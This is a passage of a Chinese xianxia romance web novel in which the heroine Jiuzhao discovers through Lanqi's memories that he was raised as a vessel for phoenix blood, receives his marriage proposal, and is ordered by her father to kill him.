兰祁睡得也很晚,过了三更,九昭开窗收到自扶摇殿飘来的仙讯。 横竖今夜是睡不着了,九昭运功为自己疗了一会儿伤,又打起探索他识海的主意。 其实仔细算算,白日对话的最后,他的情绪是出现了波动的。 奈何九昭不好判断,要怎样程度的动摇,方能让他屏障过于强硬的魔识外壁,变得薄弱松动。 “试试吧。 “试试又不吃亏。” 九昭低声自言自语两句,很快打坐准备入定。 前段时间,要和雪柳商量在大朝会上状告毓灵的内容,九昭已有两日未曾进入兰祁的识海。 这头连接上主体的意识,那头藏在不起眼角落,游丝般的仙识可怜巴巴地浮现出来。 九昭照例接着上次探查过的区域往深处游动。 没过多久,陡然感知到一颗亮得出奇的魔识。 这颗魔识处在象征过往回忆的黯淡颗粒之间,却比新诞生的记忆还要来的耀眼夺目。 被其吸引,九昭操纵着仙识飞了过去,见到的是壁障破碎,露出裂缝的景象。 原来,是因为歪头的防御破损了,无法遮挡住回忆之光,才会亮得这么刺眼。 等不及搞清楚,出现这一状况的缘由,九昭抓紧机会,赶紧闯了进去。 …… 好消息,她居然成功了。 坏消息,这段记忆仿佛是兰祁闭目的状态,仅有一片雾蒙蒙的黑,看不见任何画面。 九昭在他的身体里,感受到了几缕熟悉的力量。 是来源于凤凰的火系神力,正发挥效用,令人彻底落入无意识的沉眠中。 九昭无从得知,母神的法术,为何会对连金仙都不是的兰祁失效。 她再次确定他的意志十分清醒,却没有睁开双眼,距离躺卧之处几丈外响起一男一女的声音。 那声音十分熟悉,是母神和父神。? 什么情况? 九昭摸不着头脑。 总不能好容易成功一次,她进入的却是毫无价值的回忆碎片中吧? 父神母神往来的话音既沉且轻。 秉承来了不能白来的思想,九昭费劲心思凝神倾听。 最终,等待没有白费。 交谈内容断断续续传入她的耳里。 “袅袅,心诞终于成功了,我能感受到女儿新生的元神已经扎根在我的心脏中!” “阿辰,真是辛苦你,若非我的身子实在不成,我也不愿意你替我忍受五百年的孕育之苦。” “身子实在不成”几个字说出,那头还在宣告怀子喜讯的神帝突兀陷入缄默。 过了许久,方佯装轻快,勉力劝慰着妻子:“你不要内疚这些,既然神仙能做到男女皆可生子,那我为你生个女儿又有何不可?还有,你更不许再说什么身子成不成的话,我定会治好你—— “哪怕付出一切,也会治好你。” 代替神后回答的,是她恹恹响起的咳嗽声。 害怕吵醒沉睡的兰祁,她立即用手将嘴捂住,清晰的咳喘变得模糊而闷顿。 一阵漫长的抚背顺气后,两人的对话得以继续。 “你会陪着我,我也会陪着你,待到女儿长大成人,我们会看着她跟兰祁成婚生子。” 神帝不住畅想着未来,渴望激起爱妻坚持活下去的勇气。 可作为旁观者的九昭,脑海里随之产生了一个疑问。 选择心诞方式孕育后代的神仙,能够自行选择孩子为男为女这点,她倒是清楚——不过她一直以为,父神是察觉到她对兰祁的感情,才会将她召去,询问她是否愿意同兰祁结契。 如今看来,从她未降生起,她的性别,以及伴侣人选似乎就已经跟兰祁绑定在一起。 这是为何? 难道在他们心里,兰祁这个养子比作为亲生女儿的她还要重要吗? 迷茫顿生。 与此同时,九昭能体会到,被她仙识所寄居的这具,常年拥有超脱年龄的沉静表现的躯体—— 亦对得到答案的渴望十分强烈。 强烈到心跳第一次出现加快的趋势。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 130-140 131| 第131章 ◎“你可会觉得对不起兰祁?”◎ 神帝口中构建的, 有关承欢膝下,儿孙满堂的画面,并未成功令神后展颜。 沉默依旧与她形影相随。 回忆里的兰祁始终紧闭双目, 致使九昭看不到他们的神态和动作。 漫长的两相无言过后, 神后用充斥着怀疑的语气反问:“我们私自决定他们命运的做法,真的对吗?” 由于常年虚弱,她的语调并不尖锐。 直白的内容却击碎了神帝营造出来的温馨假象。 这回,让场面陷入寂静的人变成了神帝。 他们往来交谈打哑谜的方式, 使得九昭心中的谜团不断扩大。 好在神帝的沉默不过一瞬,他对于自身做法的评判,远比神后来得坚定:“袅袅, 有些事情,哪怕你我贵为神帝神后,也从来没有选择——我们曾经不顾一切将爱情放在最先,如今为了三清天, 必须将完整的凤凰真血掌握在手中, 若我们的女儿不与兰祁结合, 两半血脉便无法结合,这始终是个隐患。” “可——” “我们当初已经狠下心肠一次, 将巫劭的凤凰真血和元神从他的体内抽取出来, 事情完成了一半,可唯有彻底泯灭他的元神, 方能彻底解决所有的恩怨纠葛。袅袅, 你还记得战场上巫劭错手伤到你时, 所说的那句话吗?我们三个过去同是好友, 我也不想再看着他囚禁于无日渊中, 承受永生永世无法解脱的折磨。” 神后没有被神帝一番晓之以情, 动之以理的言辞打动。 她生等着他说完,又声音哀婉道: “或许为了大义理应如此,可我们三人犯下的错误,却叫后代来承担,对他们何其不公。” 神帝一声叹息:“你说得对,我们是不尽职的父母。待到女儿出生后,我会付出全部去补偿她。 “我已替女儿想好了名字,就叫做九昭好不好?九为御极之数,象征着尊贵与非凡,而昭字昭昭显明可媲煌日——以此为名,我期盼她的人生满是圆满光明,顺遂无忧,不必再经历悲苦。” “九昭,九昭。” 将这个名字反复念诵几遍,神后呢喃道,“阿辰,是我们的九昭……” “是、是我们的九昭。” 一阵布料摩擦的微声窸窣着,像是换了个姿势,又仿佛收拢臂弯,将怀抱着的人拥得更紧,提到未出生的女儿,房间内的颓唐之气稍稍消弭。神帝刻意用兴奋的语调,分享着用心脏孕育女儿的感受,浑然忘却了自己对不起的,并非只有亲生的女儿,还有一个带在身边细心教养了几千年的养子。 “祁儿午睡快行了吧,春台殿还有事,我要回去了。” “嗯,午后未时中刻,几位神王要共聚紫微宫议政,也耽搁不得——袅袅,我真舍不得和你在一块儿的时光,偏偏成为神帝又这样忙碌,唯有看顾兰祁的片刻,我们才能相聚。” 闲话着起身,分别前,神后却忍不住询问:“抽离凤凰真血,泯灭巫劭元神,对于祁儿的伤害很大,一个不小心,说不定会灰飞烟灭,阿辰,从头到尾,你便只将祁儿看作是容器,没有半点感情吗……你可会觉得对不起他?” 面对这个问题,神帝不似前头那般果断笃定。 “在事情没有完成之前,我没办法想那么多。” 他含糊而踌躇地答复着神后。 未等到下一句回应,梦境陡然在此终止。 九昭是第一次操纵仙识进入他人的记忆,脱离时有种溺入水中透不过气的窒息感。 她分不清这种窒息是源于生理,还是来自知晓真相后的内心。 暗夜里,她睁开眼眸,瞳孔深处的光彩如风烛将熄。 怪不得,怪不得之前询问父神,他从来不肯透露。 原来她要杀的是兰祁。 兰祁的真身是木系仙草,而非凤凰,怎么能够承载得下巫劭的元神和另一半真血? 父神母神对话的每个字,都把她和兰祁的关系,以及兰祁的身世拼凑出一个可怕的、无人设想过的真相,听起来仿佛三流书生写就的粗劣话本——偏偏梦境并非幻境,是人最真实经历过的记忆。 是根本造不得假的。 母神贵为上神,她的法术为何会对兰祁失效? 是因为不慎听到了这个秘密,兰祁才会涌起背叛三清天的念头的吗? 可为何,为何一定要等到和她成婚的那一天—— 思绪通往哪里,都打成死结,没有一件事能想得明白。 九昭只觉大脑一片乱麻。 但她再也不是那个遇到事情,只会头脑一热冲动寻人的天真神姬了。 强迫自己冷静一夜,睁眼捱到天亮,九昭叫人找来过去住在南陵时,南神王替她搜罗的凤凰族典籍。 企图再仔细研究一下凤凰和真血之力的特性。 只可惜,这类流传在首领双生子间的珍贵血脉力量,流传在世事的记载甚少。 三清天又专程收集销毁过凤凰族遗留下来的事物,连续忙碌两日,九昭的收获接近于无。 神帝那头,未知是在商议对于毓灵的处罚,还是在确认留春宴的最后筹备工作,亦不曾命人宣召她。 经过慎重思考,九昭将直接去找父神问个清楚放在下下策,先通过不暴露自己的方式,试探兰祁。 她给兰祁传了条仙讯,写道照旧在灵泉宫畔相见,只不过时间改为戌时。 兰祁很快回复应允。 …… 到了约定的时辰,九昭深呼吸再三,尽量让自己看起来与平日没有任何区别。 见面直击主题,总归太刻意。 她用神令解开灵泉宫的结界,并肩与兰祁向内走去。 随意找了个开场白与他交谈道:“谢谢业尊送来的药,用了伤口恢复是快很多。” 兰祁一笑:“我与九昭殿下之间,不必如此客气。” “我最近公务繁忙,好久未来灵泉宫了,你还是每隔一日都在这里等我到来吗?” “既然那些日子殿下错过了,那么知晓答案也无意义。” 兰祁的话说得不疾不徐,穿过前庭时复问,“今日殿下依旧想要入梦见到神后吗?” 九昭缓慢摇头:“来了灵泉宫这么多次,却是一次都未逛过,今日还在,我们一同走走看看吧。” “好。” 兰祁又是微微勾起唇角。 灵泉宫是整个二清天,除了九昭所居的离恨天以外,占地最广的宫殿。 光是花草园林,就有八处。 里头满满皆是她和兰祁年少时的回忆。 两人信步行走在曲折回环的游廊下,九昭指着一处阑椅上的痕迹说道:“这个刮痕你还有印象吗? “那时候我新得了西海送来的玳瑁贝珠风铃,兴冲冲地拿来你殿里想要挂在廊檐下,你提醒我说系挂的绳子太细太脆,容易掉下来不说,万一砸到人就不好了——我不听,非要拿一根很细的绳子挂,结果有日三清天的风大了点,将风铃刮了下来,贝珠掉落许多不说,还刮坏了长椅的木料。” “嗯。” 兰祁的目光俯落在九昭指尖的终点,不错眼地凝视着,接过话轻声道,“后来我想请工匠来修复,你却说留着痕迹也好,算是给自己一个警醒,以后要听得进去他人的经验之谈,以免又造成不必要的损失。” “原来你都还记得。” 九昭状似无意地感叹一句。 走过拐角时,对着几丈外因长久无人打理,水面枯荷寂寥的池塘说道,“那里呢,那里你是否记得? “我曾从芸生世述职归来的驻守仙官手里,要了一对彩羽鸳鸯,凡间话本里,鸳鸯可是夫妻恩爱的象征,它们平时就生活在那片池中。可惜凡鸟的寿命太短,不过繁衍了几代便在三清天灭绝了。” “虽然芸生世将鸳鸯视作情长到老的动物,实际上,公鸳鸯十分无情,待母鸳鸯怀孕生子,它们就会毫不留情将妻室子女遗弃,另觅新欢。”兰祁博学,对于凡间人事亦有钻研,告知的真相破灭了九昭的幻想。 她撇撇嘴,转过脸庞,只装作没有听到。 到底流转在彼此间的气氛缓和了下来,颇有点一切都未发生前的模样。 又行了一段路,走廊的尽头,连接着灵泉宫最核心的殿宇,也就是兰祁的日常起居之处。 这不光光是他的寝殿,最重要的是,内里掩藏的暗室,更藏着叫九昭彻底死心的秘密。 九昭刻意放慢脚步,逐渐落后兰祁半步。 想看看他会选择推门进入,还是避开此处,另往他径。 兰祁却停了下来,半仰着面孔,望着两扇厚重殿门上的流云刻纹。 “怎么了,为何站在此处?” 九昭故作未察,跟上去同他并立,“不进去看看吗,你堕天之后,所有东西都被封在里头,无人挪动。” “你也想让我进去吗?” 兰祁语意不明地反问。 “既是故地重游,回忆往昔,这里大约是中庭的高台外,我待过的最多的地方了吧?” 九昭探出手指,摩挲着门扉处的凹凸纹路。 往事呼啸而过,徒惹浮薄尘埃。 话音未落,她手上用力,两扇千年未启的大门,在面前徐徐敞开。 132| 第132章 ◎“信誓旦旦,不思其反。”◎ 殿内倒不似殿外般覆着层薄尘。 四方陈设清洁依旧, 典雅朴素。 但和扶胥那种全然不在乎身外之物的简朴不同,这里的东西数量虽少,每样却贵重异常。 多为来自紫微宫的赏赐, 以彰显兰祁曾经的神君身份。 九昭一道仙力过去, 点亮侧旁起伏连绵呈波浪状的鲛油灯,顺势打开周围封闭的格窗透气。 明亮的烛光驱散陈旧与阴暗,亦引来兰祁的低声感叹:“此处,仍同我当年离开时一模一样。” 望着兰祁微微出神的表情, 九昭转眸平视前方,直言道:“你是背叛三清天的罪人,来搜查的仙兵们对待你的东西自然不会小心翼翼——之所以能保持原样, 是因为自你离开后,本殿总是彻夜难眠,干脆趁着夜半无人察觉常常潜入,按照记忆里的模样, 一点一点复原寝殿原本的样子, 借此来平复失衡的心境。” 兰祁未料到, 寝殿一切如旧背后的因由竟是这般—— 但叫他随之产生更复杂心境的,是向来骄傲从不认输的九昭, 会选择将自己的所作所为说出口。 他环顾寝殿的目光, 不由得无声侧望过来,定格在九昭面上。 九昭并不回应他的视线:“其实, 我今日约你来, 也不仅仅是故地重游, 回忆往事这么简单。 “另有些许疑惑, 盼望业尊为我解答。” “……殿下请说。” 得到兰祁的答允, 九昭抱着手臂, 径直向内走去。 绕过足有一人多高的江海云纹屏风,两人来到兰祁躺卧的床榻前。 靠近床头的墙壁上,一道华光鲜红的印记,如同机括紧密的圆环重叠旋转着。 凭借熟悉的气息,兰祁弹指便认出来,这是九昭留下的术法。 “抱歉,你藏匿在墙后的暗室被发现后,我不愿再叫更多的人瞧见,看似与我恩爱情长的未婚夫,实则背地里借助我的画像提醒自己隐忍恨意的荒唐场面,故而施法封印了起来,除我之外旁人再不得入。” 九昭的道歉看似真心诚意,却令跟随在旁的兰祁越发无言。 她信手将印记抹去,被破坏机关的暗室大剌剌暴露在两人面前。 奇怪的是,面对这个自己一手建造,万年来出入无数次的地方,兰祁第一次出现望而却步的心绪。 直至九昭彻底进入其中,他才抬起左脚,缓缓踏入。 冰蓝色的壁灯未灭,三丈见方的空间内,密密麻麻全是画卷。 半卷的,挂起来的,堆在一处的,桌上铺散开来的,主题别无二致—— 为神态各异,举止不同的九昭。 孩提时期、少女时期、成人时期。 兰祁的画技,放眼三清天无人可出其右。 画卷上的九昭眉眼生动,顾盼神飞,说不出的娇艳婀娜。 只是这张张看似完美的作品,或多或少都被背面洇染开来的墨迹有所破坏。 “这里,共有五百一十五张我的肖像,每张背面都有你亲手写就的忍字。” 九昭看了一瞬,不愿再看,索性将视线落在摇曳不定的壁灯上,“你从前也会在我面前画画,且画的全都是我,我那时以为这是你心悦于我的证明,每每喜滋滋地问你讨要,拿回去挂在寝殿,你却从来不肯。 “后来这个被仙兵偶然发现的暗室,才叫我彻悟,你画我根本不为爱,而是为了恨。你每画完一张我,心中的厌恶和恨意就加深一分,那么多个力透纸背的‘忍’字,皆为你无法外泄的怒火—— “你离开后的许多年,我总是无法入眠。 “一旦闭上双眼,无穷无尽的执念梦便朝我涌来。 “我到现在也不明白,你为什么那么恨我,就因为像你所说的那样,我骄纵任性,恶劣轻狂吗?” 九昭的话,仿佛在心头堆积了许多年。 每一字,每一句,都说得无比清晰。 没有任何间隔停顿,来给兰祁留出解释的余地。 “总角之宴,言笑晏晏。 “信誓旦旦,不思其反。” 她幽幽地念着同兰祁一同读过的、书册上的诗词,“快五千年过去了,我始终难以说服自己,倘若真的那般恨我,你为何要做那么多虚情假意之外的事情,你同我的缠绵,一遍一遍在我耳边的爱语…… “都是假的吗?” 九昭很清楚自己在演戏。 或许因为每一幕戏码,都是曾经真真正正发生过的。 演到深处,她不自觉带上了几分真实的情绪。 …… 九昭清晰回忆的过往,令兰祁抿紧了薄唇。 那弃妇哀怨的诗词,连同执拗的不解传入耳畔时,更叫他素来内敛的眸光,微微闪烁了须臾。 青年失神的当口,九昭回退两步,来到他身边,一把抓住他的手。 兰祁今日着了件里外袖口皆宽松的衣衫,手被九昭抓着抬起,衣料朝相反方向滑落。 露出戴在腕上,一刻不曾摘下的连理枝手环。 手背被涅槃凤火烧焦的可怖伤口不复,唯余缠绕在木枝间的丝带红得刺眼。 “果然。” 九昭发出意料之中的喟叹,“果然你还戴着它。” 兰祁试图缩回手,反被九昭天生的大力桎梏得动弹不得。 “你坠落长生台,引我吐血的下一瞬,另一半手环就被我直接扯断了。 “若要提醒内心记得仇恨,根本无需选择这样意义特殊的东西,将仇人送给自己的,象征着她痴缠爱意的信物,日日戴在腕间,你不会觉得恶心吗?你那位两情相悦的心上人,不会怀疑猜忌吗? “你天生过目不忘的本事,我的面容,你岂会忘记? “只需再作一张画,于我脸上写下大大的忍字,悬挂殿内便是。” 寂清的殿宇之内,对峙的两方,仅有一方在咄咄逼人地追问着。 然而,兰祁一言不发的反应,却成为了最直接的答案。 回想在他识海内听到的谈话,九昭倏忽有种命运无常,不知谁对谁错,自己又该恨谁的惘然。 “真的是因为想要牢记恨意,才会一直戴着连理枝手环的吗? “还有你那日口中所说的后悔,以及造访三清天以来,同我相处过程中的种种怪异表现——” 九昭忍耐再三,才没把兰祁所做的那个荒唐香艳的梦境加上。 她沉沉宣告着:“在同祝晏成婚之前,有关你我的所有恩怨,应当一并分明。” …… 大概“同祝晏成婚”这五个字刺激到了兰祁麻木的知觉。 他始终半垂的瑞凤眼终于抬起: “我为何如此,你在我的记忆里,不都看到了吗?” 133| 第133章 ◎“我想娶你。”◎ 兰祁轻描淡写的话音, 落在九昭耳际,不啻于惊雷乍起。 大片的肌肤颗粒快过思绪,在手臂和后颈处无声浮现。 错愕之下, 她难以做出从容有余的反应, 只能僵硬地勾了勾唇角:“业尊,业尊这是在说什么?” “让侍奉在扶摇殿的女婢监视我的行迹,等我熄火入眠,就发消息通知你——难道我说错了吗?” 被青年的眼珠一瞬不瞬望着, 透明的冷汗似要滑落九昭额角。 她强迫自己与之对视,却发觉早就看穿这一切的他态度格外平静。 有时候,并非疾言厉色才能给人造成强烈的压迫感。 兰祁的平静胜过高山万仞, 压得九昭说不出反驳或是辩解的话。 她缄言半晌,松开桎梏着他的手,后退半步,寒声询问:“业尊既然清楚我在窥探你的记忆, 又为何要装作一无所知对我敞开识海。你这么做的目的是什么……究竟, 想怎么样?” “不想怎么样。 “我只是很好奇, 你说要在成婚前同我彻底两清——” 兰祁偏了偏头,下颌微绷。 如同年少时第一次接触晦涩的高阶仙术般专注, “你我之间纠缠着无数因果, 到底如何才能算作两清?” “我曾经对你不好,你也悔婚将我气出心头血, 重伤休养了千年, 这样算两清。 “你的本体为仙草, 属木系, 承载最强大的火系力量太久, 会对神魂造成损伤。不如将另一半凤凰真血交出来, 从此你回焚业海好好做你的业尊,我待在三清天过我的日子,以后井水不犯河水—— “这样也叫做两清。” 兰祁反笑:“这是你的真心话吗?” “当然。” 九昭咬紧牙关。 兰祁干脆低笑出声:“你没在我的回忆里看到吗?持有凤凰真血者,须得成婚结合,方能将两股力量融为一体,怎么,你不要你的祝晏了,想做我焚业海的尊后吗?” “难道收回凤凰真血就只有这种办法吗——” “不然还能有什么? “所以,在三清天和祝晏之间,你会选择哪一边呢?” 往来一番简单的试探,从兰祁理所当然的目光中,九昭发现了一点端倪。 他似乎不晓得,哪怕不结合,只要自己真血拥有者亲自动手将他杀了,也能够夺走另一半。 也对。 若是清楚这点,他又怎会同意如此轻车简马地拜访三清天。 九昭曾以为,自己的心肠已经在这些年的磋磨中,逐渐变得麻木冷酷。 可父神的告诫与兰祁身为容器的秘密,在脑海激烈碰撞着,她竟然从中体会出了动摇和犹豫。 “……既然父神有能力将凤凰真血送入你的体内,或许这么多年过去,也有别的办法,将它从中抽离,无论如何,你已经在我三清天做客,不如延长回程的时间,我们可以趁着机会,多尝试尝试。” 身为储君的职责,仿佛一根扎在心口的尖针。 时刻以刺痛来提醒人保持清醒。 九昭咽下喉底弥散开来的苦涩,恍若无事地提出建议。 兰祁却没有顺着她的话说下去。 他踱步到暗室的墙畔,取下悬挂其间的画卷。徒手把画卷翻转过来,他垂眸细细端详着背面龙飞凤舞的“忍”字,忽然问:“昭昭,你不是很想知道,我说我开始后悔了,是在后悔些什么?” 九昭无意识跟随过去的眸光一顿。 尚未开口,她的耳边响起兰祁坦然到近乎无畏的声音:“我后悔,为何当初不能忍到同你成婚,为何不干脆将你也一起带去焚业海,你那么喜欢我,说不定我继续将真面目藏好,你会答应跟我走。 “神帝不是想要完全收回凤凰真血吗?那好啊,或许别的方法也能取出我体内的力量,可那些方法我都不同意——除非你愿意嫁给我,只要你愿意,我便双手奉上。” 兰祁的要求与冒犯无异。 九昭张张嘴,意欲呵斥他痴心妄想,却陡然失去了发声的能力。 就算是在她看来两相情浓的当年,兰祁也不曾说过想要娶她。 只顺从到如同承办一件责无旁贷的公事那样,双膝跪地接受了父神的旨意。 “你,你是在羞辱我吗?” 她磕磕巴巴的质问,换来兰祁干脆地摇头:“不,我是认真的,我想娶你。” “可你不是有喜欢的人吗,你还说等你们举办婚事的时候,会邀请我前去参加——” 九昭瞪大眼睛,瞳孔深处平添几分怀疑的神光。 这是她在表达质疑时最常用的表情,映着溶月的辉芒,明亮、透澈、还带着一丝横冲直撞的稚气。 兰祁忍不住产生逗弄她的恶劣心思,似笑非笑着说道:“是啊,不过你是三清天的神姬,身份高贵,断然不能成为妾室。不如这样,就让你做尊后,她为嫔妃,不知九昭神姬意下如何?” “……” 眸光又是一阵变幻,隐隐发直。 不加掩饰的怒意,骤现在九昭敛睫抽动的唇边。 兰祁这才收起戏谑的语调,正色道:“我是否有心上人,你难道真的不懂吗?” “本殿如何——” 九昭恼怒地呛了回去,睫羽抖颤着舒展上翘,冷不丁撞上他深泓似潭的视线。 话音一下子止住。 当所有伪装的温和撤出那双眼睛。 内里真正的情绪,如捕获猎物的巨蟒缠上她的躯体,一点一点绞紧。 晦暗的、执拗的、摇曳不熄的。 九昭被动打了个寒颤,似有所察,正要继续说话,腰间的令牌却亮了起来。 是朱映。 “殿下,您此刻在哪儿? “紫微宫急召您过去叙话。” …… 从灵泉宫到紫微宫。 朱映既说着急,九昭便放弃飞行,直接施展传送阵来到三清天。 她有事要走,兰祁也没计较被她主动邀请,又半程放鸽子的反复。 只孤身立在暗室阴霾中,对她挥了挥手,说自己的提议,殿下闲来无事可以认真考虑。 这突如其来的求婚冲击力太强,以至于被神帝责问,下跪认错时,九昭的神魂还是出游了一瞬。 膝下是常年沁凉的玉砖,相隔单薄衣料,寒意与坚硬触感一同上涌。 九昭涣散的目光陡然聚焦,方规规矩矩叩首,诚恳请罪道:“父神,女儿真的知错了,女儿错在带雪柳来之前,应该提前跟您知会一声,更错不该在万众瞩目的大朝会上拆您的台,非要废除仙奴制度。” 这显然没说到点子上的认错言论,叫神帝忍不住沉沉叹出口气。 “你是未来的君主,对于三清天的运行抱有自己的想法,这不是错。提出废除仙奴制度,给这些数量不少的底层仙奴们,一个出人头地的途径,为父也认为是个很好的主意。其实三界除了力量强弱和寿数长短以外,没有任何不同,想要长治久安,想要强盛发展,就需突破,需变革,需拥有当机立断的决心勇气。” 九昭没想到被晾着好几天日不见,父神这会儿将自己叫来,还能够心平气和地进行夸赞。 她越发不敢抬头。 又听见神帝的话锋倏忽一转,缓和了没多久的态度,再度严厉起来:“可你还是太年轻了,思考计划不够全面,不懂得什么叫做合乎时宜——我问你,距离留春宴开办,还有几日?” 九昭掐指一数,老老实实回答:“回父神,还有两日。” 神帝“嗯”了一声,接着引导:“两日罢宴之后,魔族便要告辞回归焚业海,你有没有忘记,我同你说过的,要在他们离开前,由你亲自动手,杀死另一半凤凰真血持有者。” 不提这个尚可。 突然提起,九昭那作势想要抬起的身体,又悄然伏了回去。 “父神的嘱咐,女儿不敢不记得。” 她避开与神帝对视,只扮作一心认错的模样。 生怕被他瞧出,在答案未揭晓之前,自己已然掌握全部真相的无措。 “那你就该由此想到,这么长时间,我没叫你出手,是因为留春宴上才是最好的时机。我已经命扶胥、夕寰,以及东南两位神王,同我合力于升鸾台的千尺桃林间布下了逆魔伏诛阵。待魔族踏入其中,伏诛阵会将其他人等剿灭,而你则手持操控阵法的神器进入,找到那凤凰真血持有者,亲手将他杀死。 “和平的最好方式并非停战,而是让焚业海群龙无首,为了权位疯狂自相残杀,以至大伤元气。 “届时再由三清天出兵,正式攻破象征业尊的寂无宫,便可得享万世太平。 “你在大朝会上提出以九天雷刑惩罚毓灵,相当于要了她的命,东神王为她的同胞兄长,若心中怀有怨气,如何还能尽心尽力?昭儿,你可明白了,这就是为父说的,说话做事,都要合乎时宜。 “不过,终究还能够补救,我会撤换东神王,让负责军队调动的西神王顶上,再由瀛罗代掌他的职责。 “幸好为着孟楚双手残废的缘故,北境再也没有了与焚业海密谋的可能,神王妃的背后是九尾狐族的第一世家,她爱子如命,能够强忍着顺从为父的旨意与魔族虚与委蛇,已经拼尽全力。 “否则要提防两境,你可知为父要额外耗费多少心力?” …… 箭在弓弦之上,到了不得不发的时候。 神帝说出口的每句话都显得那么推心置腹、意味深长。 兰祁的识海回忆里,所探知到的过往真相,仅是让九昭认清的第一步。 话音清晰地借由听觉,传入脑海,她才陡然发觉,自己慈爱的父亲是那么的陌生。 “昭儿,等完成这些,我会直接退位,由你继位为帝,如此有生之年,你将永远顺遂无忧。 “为父也算对得起你母神的交代。” 要布下阵法。 要诛灭魔族。 要为三清天开疆拓土。 要站在万人之上,就注定了脚底踩着无数白骨。 仿佛万年,也仿佛是一个刹那,九昭的眼前掠过许许多多的人事。 她阖了阖眼,终于抬起头,说得却又是令神帝失望的软弱言语:“可,父神,凤凰族到底是母神的种族,若攻进焚业海,彻底诛灭他们,难免叫母神魂魄不安……” “昭儿,你还不懂吗? “只要凤凰真血尽归你身,哪怕焚业海的凤凰族被我杀得一只也无,你照样可以创造新的凤凰族。 “没有背叛,没有攻讦,崭新的、忠诚于三清天的凤凰族。” 九昭的大脑嗡嗡作响。 她只觉灵魂陷入一片正反颠倒的目眩神迷之境。 她又像是面对兰祁的求婚时那样,嘴唇嗫嚅着,全然说不出话。 直到神帝下定决心,近乎决绝地对她说道:“昭儿,为父要你答应亲手杀死另一位凤凰真血拥有者时,你曾问过我几次那人是谁。如今,为父告诉你。是兰祁,他从小便是我为你培养的容器,很久以前,我也心软犹豫过,毕竟是自己看着长大的孩子。可为了你,为了三清天,这已经背叛过一次的人,必须舍弃。” 134| 第134章 ◎“牺牲品。”◎ “昭娘, 这是在留春宴上要穿的袍服吗? “真好看。 “只是不知为何,我总感觉有些似曾相识。” 九昭出神地望着挂在纯金桁架上的礼服,身侧传来祝晏如同局外人般的话音。 也难怪他仅仅觉得熟悉, 而想不起这种熟悉源自何方。 倘若另一位主角兰祁在这里, 大约会一眼认出,它像极了他们当年大婚时所穿的婚服。 神帝昨日的话音言犹在耳。 在道破要杀的人是兰祁之后,他再度重复“只许成功不准失败”的命令。 只要九昭狠下心来,为三清天了结此事, 他便可就此功成身退,将神帝的位置顺利禅让出来。可若杀不掉兰祁,有着他们为前未婚夫妻这一层关系, 众仙便会以为是九昭情根深陷,甚至与焚业海勾结。 人心善变,爱欲凉薄。 品尝过两次感情不顺的苦果,九昭只觉全天下唯有亲人可以全心全意相信。 但事实证明, 为了达成目的, 父神也算计了自己。 他将她绑在熊熊火架之上。 不允许她产生一丝一毫计划外的情绪。 要成为合格的君主, 便要如此行事吗? 哪怕伤害身边亲近之人,裹挟他们, 利用他们, 直至变作孤家寡人—— 亦在所不惜。 九昭想不明白。 事实证明,每一个催促她做出决定的当口, 也从不预留给她足够的时间去想明白。 该她做的事, 她没有想过推脱。 可在通往权利的路上, 每当她自觉舍弃得已经足够多时, 又会冒出新的难题, 叫她继续做出取舍。 …… “昭娘、昭娘, 我的话你听到了吗?” 见九昭仅是不错眼地盯着礼服的某处,并未参与自己的话题,祝晏复唤她名字。 九昭这才转开视线,对他一笑:“似曾相识吗?我倒没什么感觉,大约是我钟意红色,相同颜色的衣裳太多,这回为了博取我欢心,神绣局又送了挑不出错的来,才会有这种感受吧。” 她虽是在笑,眼底却萦绕着几分凝重和心不在焉。 这是祝晏自打从石室痊愈出来后,最常在她脸上看到的神情。 并且伴随着留春宴将近,越发明显。 寻常的凑趣已不能令九昭成功展颜。 祝晏用目光示意女婢,将桁架推到角落摆好,留给他们独处的空间。 他牵着九昭,将她带到临窗的茶案边坐下。 骨节清癯的双手落在肩膀,察觉九昭受惊似地身体一拢,他又舒展手掌,将她不自觉做出的防御姿态按下,而后柔声询问:“昭娘,最近可是太累了?自打我出关,总是见你说着话突然走神。” “嗯……留春宴将近,今年有魔族加入,定要做到极致才可以。” 九昭垂着眼睫,“为着此情,我日夜悬心——毕竟是回到三清天以来,我着手督办的第一件大事。” “难道还有什么不尽人意的地方吗?我瞧着各方面的布置已经足够尽善尽美。” 许是久病成医,祝晏手上推拿按摩的力道正好。 当身体开始放松,心弦便不再如紧绷之弓。 神帝的态度决绝,仅是命令,不允许九昭产生异议。 此刻在无微不至的爱人面前,她陡然多了几分倾诉的欲/望。 将不能透露的信息挑挑拣拣,全部替换成别的内容,九昭盯着长案上的茶杯踌躇几息,说道:“晏郎,有一个问题,我的确想了很久,都想不明白——如果在无意识的情况下,已经对不起某个人一回,现在大局又要求继续对不起他,且这个对不起的行为更过分、更严重,换成是你,你会怎么做?” 祝晏没有思忖太久,很快直指整件事的核心:“这个更过分严重的行为,是要过分到到何种程度?有补偿的余地吗?另外,就算是为了大局,除却对不起那个人,还有没有其他的可行办法?” 九昭苦笑:“过分到什么程度……你还记得我们一起读过的话本传奇吗?故事里的主人公,往往为解救天下而牺牲自己,便是过分到那样的程度,利用他在前,牺牲他在后。至于其他的可行办法——” 难道让她放弃祝晏,去嫁给兰祁吗? 不问自己的心是否愿意,就算她愿意,父神决意要杀死兰祁,绝不会点头答应。 见九昭的话断在中途,说不下去,祝晏便也明白了此事没有转圜的余地。 他轻抿嘴唇,止又复言:“昭娘,你不觉得你做出的比喻,和实际情况并不一样吗?” “我知晓不一样,但只要你理解就——” “大侠选择牺牲性命拯救苍生,那是因为性命本就是他自己的。 “死去的那一刻甚至是升华,是壮举,无需承担任何心理压力。 “可剥夺其他人的性命,若做出决定者已然抛弃所有良知,那便还好。 “若良知仍存,那么她的心境又该是何等艰辛。 “大局之下的收益者高枕无忧,与牺牲者相关的亲人眷属会愤怒记仇,他们的情绪皆如黑白两色,清晰分明,唯有做出决定者,余生会陷落在背负人命的枷锁之中,日夜受到良知拷问,逐渐煎熬疯魔。” 旁人的重点,几乎都会放在为大局牺牲一人是否应当之上。 在倾诉之前,九昭也想好了按照祝晏在大事面前甚少犹豫的性格,他多半会倾向大局。 结果,他却全然站在了她的角度思考。 “昭娘,我不清楚这个所谓的大局究竟有多重要,做出不同的决定又会导致什么样的下场—— “我只清楚一点,那就是我很了解你,你有你坚持的原则底线,或许走到现在,旁人会为了多数人的利益,毫不犹豫牺牲个体,可你的心始终温热而柔软。倘若真的那么做,我只怕你一生再也不会觉得心安。” 满到几乎扑出来的担忧,从那双柔情似海的翡翠绿眼眸中流泻。 